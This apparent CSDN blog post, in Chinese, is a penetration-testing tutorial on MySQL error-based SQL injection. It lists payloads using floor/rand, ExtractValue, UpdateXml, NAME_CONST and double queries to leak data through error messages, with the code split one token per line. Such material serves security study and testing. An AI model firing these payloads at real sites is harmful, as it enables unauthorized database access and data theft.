SQL注入之mysql显错注入-CSDN博客

在我们实际渗透中，明明发现一个注入点，本以为丢给sqlmap就可以了，结果sqlmap只显示确实是注入点，但是数据库却获取不了，如图1所示，这时我们可以使用手工进行注入，判断出过滤规则以及基本过滤情况，然后再选择对应的sqlmap脚本（如果有的话），本文主要是讲述如何通过mysql函数报错来进行注入，另外如何使用手工进行全程注入的利用过程，如果你知道sqlmap里面有对应的脚本的话，烦请告知一下，谢谢！。

图1 获取数据库失败

此时我们可以考虑下是否是显错注入，对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

通过floor报错：

 
    
         and  
         select  
         1  
         from  
         ( 
         select  
         count 
         (*),concat(version(),floor(rand(0)*2))x  
         from  
         information_schema.tables  
         group  
         by  
         x)a) 
        
 
  

 
    
         and  
         ( 
         select  
         count 
         (*)  
         from  
         ( 
         select  
         1  
         union  
         select  
         null  
         union  
         select   
         !1)x  
         group  
         by  
         concat(( 
         select  
         version()),floor(rand(0)*2))) 
        
 
  

通过ExtractValue报错：

 
         and  
         extractvalue(1, concat(0x7f, ( 
         select  
         version()),0x7f))

通过UpdateXml报错：

 
         and  
         1=(updatexml(1,concat(0x7f,( 
         select  
         version()),0x7f),1))

通过NAME_CONST报错：

 
    
         and  
         1=( 
         select  
         *  
         from  
         ( 
         select  
         NAME_CONST(version(),1),NAME_CONST(version(),1))  
         as  
         x) 
        
 
  

通过错误的双重查询：

 
    
         or  
         1  
         group  
         by  
         concat_ws(0x7f,version(),floor(rand(0)*2))  
         having  
         min 
         (0)  
         or  
         1 
        
 
  